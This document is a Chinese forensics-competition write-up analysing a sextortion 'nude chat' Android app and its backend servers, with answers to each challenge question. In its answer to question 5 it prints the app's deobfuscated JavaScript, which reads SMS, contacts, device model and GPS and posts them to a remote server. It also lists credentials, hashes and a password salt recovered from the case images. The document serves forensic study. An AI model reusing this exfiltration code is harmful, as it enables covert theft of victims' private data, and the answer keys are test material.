2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导裸聊,下载了某“裸聊”软件,导致自己的通讯录和裸聊视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警;警方从金某提供的本人手机中,定向采集到了该“裸聊”软件的安装包--zhibo.apk(检材一),请各位回答下列问题:(题目中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例:192.168.100.100-CAB2021
1.请计算检材一Apk的SHA256值
答案:3fece1e93be4f422c8446b77b6863eb6a39f19d8fa71ff0250aac10f8bdde73a
2.该APK的应用包名为
如上图
答案:plus.H5B8E45D3
3.该APK程序在封装服务商的应用唯一标识(APPID)为
或直接去网站源代码上看
答案:H5B8E45D3
4.该APK具备下列哪些危险权限(多选题):
A.读取短信 B.读取通讯录 C.读取精确位置 D.修改通讯录 E.修改短信
答案:ABCDE
5.该APK发送回后台服务器的数据包含一下哪些内容(多选题):
A.手机通讯录 B.手机应用列表 C.手机号码 D.验证码 E.GPS定位信息
在雷电模拟器中的设置里面开启root权限
该apk页面有 “内涵一点”
我们可以直接搜索”内涵一点”,在index.html上找到了一段sojson.v4加密
/*
*Aman - 194nb.com
*/
/*
*Progcessed By JSDec in 0.00s
*JSDec - JSDec.js.org
*/
mui.init();
mui.plusReady(function () {
//var main = plus.android.runtimeMainActivity();
// main.moveTaskToBack(false);
var address = plus.device.vendor + '-' + plus.device.model;
address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
var apiserver = 'http://www.honglian7001.com/api/uploads/';
//重复数据处理 预防用户重复点击
var danjishijian = true;
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(
["android.permission.READ_SMS"],
function (resultObj) {
//SmsInfo存放一条短信的各项内容
var SmsInfo = {}
//Sms存放所有短信
var Sms = {}
var aimei = sjh;
var aimei2 = yqm;
var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
var Cursor = plus.android.importClass("android.database.Cursor")
var Uri = plus.android.importClass("android.net.Uri") //注意啦,android.net.Uri中的net是小写
var activity = plus.android.runtimeMainActivity()
var uri = Uri.parse("content://sms/");
var projection = new Array("_id", "address", "person", "body", "date", "type")
var cusor = activity.managedQuery(uri, projection, null, null, "date desc")
var idColumn = cusor.getColumnIndex("_id")
var nameColumn = cusor.getColumnIndex("person")
var phoneNumberColumn = cusor.getColumnIndex("address")
var smsbodyColumn = cusor.getColumnIndex("body")
var dateColumn = cusor.getColumnIndex("date")
var typeColumn = cusor.getColumnIndex("type")
if (cusor != null) {
while (cusor.moveToNext()) {
SmsInfo.id = cusor.getString(idColumn)
SmsInfo.Name = cusor.getInt(nameColumn)
SmsInfo.Date = cusor.getLong(dateColumn)
SmsInfo.Date = getFormatDate(SmsInfo.Date)
SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn)
SmsInfo.Smsbody = cusor.getString(smsbodyColumn)
SmsInfo.Type = cusor.getString(typeColumn)
var post = JSON.stringify(SmsInfo);
//console.log(post);
duanxin = duanxin + ',' + post;
}
duanxin = duanxin + ']';
//alert(duanxin);
mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
mui.toast('获取成功')
//console.log(con)
},
error: function (xhr, type, errorThrown) {
//异常处理;
}
});
cusor.close()
}
},
function (error) {
console.log('申请权限错误:' + error.code + " = " + error.message);
});
}
//扩展Date功能:将long型日期转换为特定的格式
Date.prototype.format = function (format) {
var o = {
"M+": this.getMonth() + 1,
"d+": this.getDate(),
"h+": this.getHours(),
"m+": this.getMinutes(),
"s+": this.getSeconds(),
"q+": Math.floor((this.getMonth() + 3) / 3),
"S": this.getMilliseconds()
}
if (/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
}
for (var k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
}
//将long型日期转换为特定格式
function getFormatDate(l, pattern) {
date = new Date(l);
if (pattern == undefined) {
pattern = "yyyy-MM-dd hh:mm:ss";
}
return date.format(pattern);
}
//alert(plus.device.uuid)
plus.navigator.setStatusBarBackground("#db6eff");
mui("body").off("tap");
mui("body").on('tap', '#tx', function (event) {
$('#tx').hide();
$('#zz').show();
});
mui("body").on('tap', '#gb', function (event) {
$('#tx').show();
$('#zz').hide();
});
mui("body").on('tap', '#qd', function (event) {
if (danjishijian) {
danjishijian = false;
aa()
} else {
aa()
}
});
function getPermission(permissionIdentity, successCallBack, errorCallBack) {
//权限标识转换成大写
var permissionIdentity = permissionIdentity.toUpperCase();
//获取检测权限的状态
var checkResult = plus.navigator.checkPermission(permissionIdentity);
//权限状态是否正常
var permissionStatusOk = false;
//权限中文名称
var permissionName = '';
//对应 andorid 的具体权限
var androidPermission = '';
//获取权限中文意思与对应 android 系统的权限字符串
switch (permissionIdentity) {
case 'CONTACTS':
permissionName = '系统联系人';
androidPermission = 'android.permission.READ_CONTACTS'
break;
default:
permissionName = '未知';
androidPermission = '未知';
break;
}
//判断检查权限的结果
switch (checkResult) {
case 'authorized':
//正常的
permissionStatusOk = true
break;
case 'denied':
//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框
//如果有该权限但是没有打开不进行操作还是会去申请或手动打开
// console.log('已关闭' + permissionName + '权限')
// errorCallBack('已关闭' + permissionName + '权限');
// return
break;
case 'undetermined':
// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认
// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)
// errorCallBack('未确定' + permissionName + '权限');
// return
break;
case 'unknown':
errorCallBack('无法查询' + permissionName + '权限');
return
break;
default:
errorCallBack('不支持' + permissionName + '权限');
return
break;
}
//如果权限是正常的执行成功回调
if (permissionStatusOk) {
successCallBack()
} else {
//如果不正常,如果是 andorid 系统,就动态申请权限
if (plus.os.name == 'Android') {
//动态申请权限
plus.android.requestPermissions([androidPermission], function (e) {
if (e.deniedAlways.length > 0) {
//权限被永久拒绝
// 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Always Denied!!! ' + e.deniedAlways.toString());
}
if (e.deniedPresent.length > 0) {
//权限被临时拒绝
// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Present Denied!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) {
//权限被允许
//调用依赖获取定位权限的代码
successCallBack()
// console.log('Granted!!! ' + e.granted.toString());
}
}, function (e) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Request Permissions error:' + JSON.stringify(e));
})
} else if (plus.os.name == 'iOS') {
//ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera
//这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会
//走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。
if (checkResult == 'undetermined') {
//调用依赖获取定位权限的代码
successCallBack(true)
} else {
//如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开
mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'], function (e) {
//取消
if (e.index == 0) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
} else if (e.index == 1) {
//确认,打开当前应用权限设置页面
var UIApplication = plus.ios.import('UIApplication');
var application2 = UIApplication.sharedApplication();
var NSURL2 = plus.ios.import('NSURL');
// var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");
var setting2 = NSURL2.URLWithString('app-settings:');
application2.openURL(setting2);
plus.ios.deleteObject(setting2);
plus.ios.deleteObject(NSURL2);
plus.ios.deleteObject(application2)
}
}, 'div')
}
}
}
}
function aa() {
var sjh = $('#sjh').val();
var yqm = $('#yqm').val();
if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {
getPermission('CONTACTS', function () {
huoqu(sjh, yqm);
}, function (msg) {
mui.alert(msg, '提醒', '确定', function () { }, 'div')
//aa()
})
}
else {
mui.toast('请输入正确的手机号和邀请码')
}
}
function dingwei(sjh, yqm) {
plus.geolocation.getCurrentPosition(translatePoint, function (e) {
mui.toast("异常:" + e.message);
});
}
function translatePoint(position) {
var sjh = $('#sjh').val()
var yqm = $('#yqm').val()
var currentLon = position.coords.longitude;
var currentLat = position.coords.latitude;
var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
mui.ajax(apiserver + 'apimap', {
data: {
data: jingweidu
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
if (data == '获取成功') {
requestPermission(sjh, yqm);
//setInterval(function(){
//var sjh=$('#sjh').val();
//var yqm=$('#yqm').val();
//requestPermission(sjh,yqm);
//console.log('send')
//},30000)
}
mui.toast(data)
},
error: function (xhr, type, errorThrown) {
//异常处理;
}
});
//书写自己的逻辑
}
// 扩展API加载完毕,现在可以正常调用扩展API
function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;
plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {
addressbook.find(["displayName", "phoneNumbers"], function (contacts) {
for (var i = 0, len = contacts.length; i < len; i++) {
con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);
}
mui.ajax(apiserver + 'api', {
data: {
data: con
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
//alert(data)
if (data == '正在加载列表') {
dingwei(sjh, yqm);
mui.openWindow({
url: 'list.html',
show: {
autoShow: true
}
});
} else {
mui.toast(data)
}
//console.log(con)
},
error: function (xhr, type, errorThrown) {
//异常处理;
}
});
}, function () {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
}, {
multiple: true
});
}, function (e) {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}
});
所以根据分析代码我们知道该APK发送回后台服务器的数据包含哪些内容
答案:A.手机通讯录 C.手机号码 D.验证码 E.GPS定位信息
6.该APK程序回传通讯录时,使用的http请求方式为()
随便输入手机号和验证码,登录抓包
答案:POST
7.该APK程序的回传地址域名为【标准格式:www.abc.com】
如上图
答案:www.honglian7001.com
经过掌握的APK程序后台服务器回连地址,警方成功调取该服务器的镜像,请使用第7题的答案对检材二进行解压进行分析,并回答下列问题:
12.检材二的原始硬盘的SHA256值为:
答案:E6873068B83AF9988D297C6916329CEC9D8BCB672C6A894D393E68764391C589
13.查询涉案于案发时间段内登陆服务器的IP地址为【标准格式:111.111.111.111】
题目背景中写到被害人2021年4月25日上午8点左右进行报案,那案发时间就要在25之前
答案: 192.168.110.203
14.请对检材二进行分析,并回答该服务器在集群中承担的主要作用是()【格式:文件存储】
解析见第17题
个人是这样理解的,17题我们在 ADProxy.js 中看到了反向代理,又看见了定义了三个服务器的代理,如果我们在这里了解负载均衡的作用和定义,我们就应该知道该服务器在集群中承担的作用应该是:负载均衡
负载均衡:
那负载均衡是干什么用的呢?这个涉及到了分布式系统的设计。例如我们现在有两台服务器(Server1和Server2)为用户提供服务,如果没有负载均衡就有可能出现95%的用户都去访问Server1,而只有5%的用户访问Server2。那样不就出现Server1快被压死了,而Server2工作负荷完全不满的情况吗。我们当然希望将用户的访问均衡的分配到这两天服务器上,那样对我们的系统是最有利的,这就是负载均衡最大的意义
答案:负载均衡
15.上一题中,提到的主要功能对应的服务监听的端口为:
在分析软件里面看到了历史命令有这样一条
我们进入到虚拟机,直接cd到当前目录,用ls查看当前目录下有哪些文件,直接用cat命令读取即可
在这里我们知道
-
host
:指定服务器监听的主机地址。在这里,设置为'0.0.0.0'
表示服务器将监听所有可用的网络接口上的连接。这样配置可以使服务器对外公开,接受来自任何 IP 地址的连接请求。 -
port
:指定服务器监听的端口号。在这里,设置为80
,通常用于 HTTP 服务。客户端可以通过访问服务器的 IP 地址和此端口号来访问网站或应用程序。 -
safe_port
:指定安全连接的端口号。在这里,设置为8443
,通常用于 HTTPS 服务,用于加密传输数据。 -
static_path
:指定静态文件(如 HTML、CSS、JavaScript 文件等)的存放路径。在这里,设置为'static'
,表示静态文件存放在与服务器代码相同的目录下的名为'static'
的文件夹中。 -
static_host
:指定静态文件的主机地址。在这里,设置为'127.0.0.1'
,表示静态文件将通过此主机地址提供服务。
答案:80
16.上一题中,提到的服务所使用的启动命令为:
我们首先在分析软件的历史命令中看到了node app.js
经了解,
node app.js
是在命令行中执行 JavaScript 文件app.js
的命令。通常情况下,这意味着你正在使用 Node.js 运行一个名为app.js
的 JavaScript 应用程序。在这种情况下,
app.js
文件通常是一个 Node.js 应用程序的入口文件,其中包含了应用程序的主要代码逻辑。执行node app.js
命令会启动 Node.js 运行时环境,并执行app.js
文件中的代码。这种方式通常用于运行服务器端应用程序、命令行工具或其他需要 Node.js 运行时环境的 JavaScript 程
然后我们去虚拟机里看看 app.js
先定位到 app.js 所在目录,然后读取
得到的 app.js 内容如下:
我们可以发现内容里设计到开启服务,关闭服务,运行服务等
17.经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第()位进行判断【标准格式:9】
在分析软件里查看历史命令
我们可以发现more ADProxy.js命令就在 node app.js命令附近
那我们就去看一下ADProxy.js文件
我们看到了反向代理
反向代理,指的是
浏览器/客户端
并不知道自己要访问具体哪台目标服务器
,只知道去访问代理服务器
,代理服务器
再通过反向代理 +负载均衡
实现请求分发到应用服务器
的一种代理服务。
反向代理服务的特点是代理服务器
代理的对象是应用服务器
,也就是对于浏览器/客户端
来说应用服务器
是隐藏的。
可以看到,定义了三个代理的配置对象 _proxy50
、_proxy100
和 _proxy100p
,分别指向不同的目标主机和端口。
代码审计一下
var clientIPArr = clientIP.split(".")
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2])
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);
if (clientIP3Int <= 50) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50
} else if (clientIP3Int <= 100) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100));
return _proxy100
} else {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100p));
return _proxy100p
}
这段代码的作用是根据请求的来源 IP 地址的第三段数字(即 IP 地址中的第三个字段,以点分隔),将请求代理到不同的目标服务器上。下面是代码的逻辑解释:
var clientIPArr = clientIP.split("."): 将请求的来源 IP 地址按点(.)分割成数组,以便获取 IP 地址中的不同部分。
if (clientIPArr.length == 4) {: 检查分割后的数组长度是否为 4,确保 IP 地址是有效的 IPv4 地址。
var clientIP3Int = parseInt(clientIPArr[2]): 将 IP 地址数组中第三个元素(即第三段数字)转换为整数类型。
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));: 记录请求的头部信息。
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);: 记录请求的来源 IP 地址。
根据第三段数字的大小选择不同的目标代理服务器:
如果第三段数字小于等于 50,则选择 _proxy50 作为目标代理服务器。
如果第三段数字大于 50 且小于等于 100,则选择 _proxy100 作为目标代理服务器。
如果第三段数字大于 100,则选择 _proxy100p 作为目标代理服务器。分别记录所选择的目标代理服务器信息,并返回相应的代理配置对象。
这段代码的目的是根据请求来源的 IP 地址中的一部分,动态地将请求路由到不同的目标服务器上。
这段代码的作用是根据请求的来源 IP 地址的第三段数字(即 IP 地址中的第三个字段,以点分隔),将请求代理到不同的目标服务器上。下面是代码的逻辑解释:var clientIPArr = clientIP.split("."): 将请求的来源 IP 地址按点(.)分割成数组,以便获取 IP 地址中的不同部分。
if (clientIPArr.length == 4) {: 检查分割后的数组长度是否为 4,确保 IP 地址是有效的 IPv4 地址。
var clientIP3Int = parseInt(clientIPArr[2]): 将 IP 地址数组中第三个元素(即第三段数字)转换为整数类型。
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));: 记录请求的头部信息。
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);: 记录请求的来源 IP 地址。
根据第三段数字的大小选择不同的目标代理服务器:
如果第三段数字小于等于 50,则选择 _proxy50 作为目标代理服务器。
如果第三段数字大于 50 且小于等于 100,则选择 _proxy100 作为目标代理服务器。
如果第三段数字大于 100,则选择 _proxy100p 作为目标代理服务器。分别记录所选择的目标代理服务器信息,并返回相应的代理配置对象。
这段代码的目的是根据请求来源的 IP 地址中的一部分,动态地将请求路由到不同的目标服务器上。
答案:3
18.经分析,当判断条件小于50时,服务器会将该请求转发到IP为()的服务器上【标准格式:111.111.111.111】
经过上题的代码审计我们知道,如果第三段数字小于等于 50,则选择 _proxy50 作为目标代理服务器。
答案:192.168.110.111
19.请分析,该服务器转发的目标服务器一共有几台【标准格式:9】
经过17题的代码审计,共有3台,分别为_proxy50
、_proxy100
和 _proxy100p
答案:3
20.
请分析,受害者通讯录被获取时,其设备的IP地址为【标准格式:111.111.111.111】
我们根据案情简介,我们知道受害者报案那天是2021-4-25,受害者是前一天被骗的,所以正确的日期应该是2021-4-24
定位发现有4-24日的日志文件
日志中就只出现了3个ip
192.168.110.2039(经过13题的分析,这个其实是登录服务器的ip地址)
192.168.110.252
192.168.110.113(经过17题的分析,我们知道这个是代理转发的ip)
排除法,受害者的设备ip地址应该是252
答案:192.168.110.252
21.请分析,受害者的通讯录被窃取之后,经由该服务器转发到了IP为()的服务器上【标准格式:111.111.111.111】
或者我们根据第17题的代码审计也可以知道,252是大于100,果第三段数字大于 100,则选择 _proxy100p 作为目标代理服务器。而_proxy100p的服务器ip就是192.168.110.113
答案:192.168.110.113
通过对检材二的分析,警方进一步掌握并落地到了目标服务器地址,通过对服务器进行证据固定,得到服务器镜像--检材三,请使用第21题答案对检材三进行解密并分析,回答下列问题:
检材三的解压密码:192.168.110.113-CAB2021
挂载txt文件得到
用E01文件 进行镜像仿真,在虚拟机上查看网络配置
22.检材三的原始硬盘的SHA256值为:
火眼分析直接计算哈希即可
答案:205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF
23.请分析第21题中,所指的服务器的开机密码为:
答案:honglian7001
24.疑人架设网站使用了宝塔面板,请问面板的登陆用户名为:
答案:hl123
25.请分析用于重置宝塔面板密码的函数名为
搜了一下
宝塔的主要功能都在 /www/server/panel/tools.py
文件中
我们定位到/www/server/panel下,用ls命令查看发现有tools.py
vi进入到文本,直接搜索即可
或者cat命令查看
答案:set_panel_pwd()
26.请分析宝塔面板登陆密码的加密方式所使用的哈希算法为
在tools.py下
答案:md5
27.请分析宝塔面板对于其默认用户的密码一共执行了几次上题中的哈希算法
搜了一下(至于这里我们看的是public.py,我也没想明白)
后面看大佬博客
我才知道在26题里
我们可以看到当我们重置密码时,我们传入的密码经过了
public.md5
处理后,和 uid=1
这个参数又一起传进了 public.password_salt
这个函数,此时 uid=1
就是指当前用户(我们在重置密码无法选择修改其他用户的密码),在 tools.py 这个文件最开头的 import 部分,我们能够看到 public
的引用在目录 /www/server/panel/class/
下
我们直接到/www/server/panel/class目录下,用ls查看目录下有public.py,直接vi编辑器进入搜索/password即可
初始密码有一次,在public.py下还有两次md5,所以一共3次
答案:3
28.请分析当前宝塔面板密码加密过程中所使用的salt值为【区分大小写】
答案:v87ilhAVumZL
29.请分析该服务器,网站源代码所在的绝对路径为
答案:/www/wwwroot/www.honglian7001
30.请分析,网站所使用的数据库位于IP为()的服务器上(请使用该IP解压检材五,并重构网站)【标准格式:111.111.111.111】
我们直接查看database.php即可
答案:192.168.110.115
31.请分析,数据库的登陆密码为【区分大小写】
如上图
答案:wxrM5GtNXk5k5EPX
32.请尝试重构该网站,并指出,该网站的后台管理界面的入口为【标准格式:/web】
答案:/admin
知识点:
1.linux怎么查看用户登录时间和信息
参考文章:https://www.cnblogs.com/wang-yaz/p/10769904.html
- last 查看用户登录历史
选项:
(1)-x:显示系统开关机以及执行等级信息
(2)-a:将登陆ip显示在最后一行
(3)-f :读取特定文件,可以选择 -f /var/log/btmp文件
(4)-d:将IP地址转换为主机名
(5)-n:设置列出名单的显示列数
(6)-t:查看指定时间的用户登录历史
- who 查看当前登录的用户信息
who输出包括用户名、终端类型、登陆日期以及远程主机
- history 查看命令历史
每个用户都有一份命令历史记录
2.node app.js
node app.js
是在命令行中执行 JavaScript 文件 app.js
的命令。通常情况下,这意味着你正在使用 Node.js 运行一个名为 app.js
的 JavaScript 应用程序。
在这种情况下,app.js
文件通常是一个 Node.js 应用程序的入口文件,其中包含了应用程序的主要代码逻辑。执行 node app.js
命令会启动 Node.js 运行时环境,并执行 app.js
文件中的代码。
这种方式通常用于运行服务器端应用程序、命令行工具或其他需要 Node.js 运行时环境的 JavaScript 程
3.linux下如何读取文件内容
- 知道文件路径
使用 cd
命令切换到目标目录,然后使用 ls
命令查看目录中的文件列表,最后cat读取
- 不知道文件路径
方法(1)
使用locat命令先定位文件所在目录,然后直接cat读取即可
方法(2)
4.反向代理
参考资料:nginx--正向代理、反向代理及负载均衡(图解+配置)_nginx正向代理配置-CSDN博客
反向代理,指的是
浏览器/客户端
并不知道自己要访问具体哪台目标服务器
,只知道去访问代理服务器
,代理服务器
再通过反向代理 +负载均衡
实现请求分发到应用服务器
的一种代理服务。
反向代理服务的特点是代理服务器
代理的对象是应用服务器
,也就是对于浏览器/客户端
来说应用服务器
是隐藏的。
说一点个人理解,正向代理是隐藏客户端,反向代理是隐藏服务器。
5.负载均衡
负载均衡是将客户端的请求按照一定的规则分配到一群服务器上,并将处理结果返回给相应的客户端
参考文章:秒懂负载均衡与反向代理_负载均衡和反向代理-CSDN博客
作用:
那负载均衡是干什么用的呢?这个涉及到了分布式系统的设计。例如我们现在有两台服务器(Server1和Server2)为用户提供服务,如果没有负载均衡就有可能出现95%的用户都去访问Server1,而只有5%的用户访问Server2。那样不就出现Server1快被压死了,而Server2工作负荷完全不满的情况吗。我们当然希望将用户的访问均衡的分配到这两天服务器上,那样对我们的系统是最有利的,这就是负载均衡最大的意义
负载均衡只有在服务器大于2台的时候才有意义,其主要侧重于将负载均衡到各个服务器上。
6.vi编辑器下如何搜索指定文本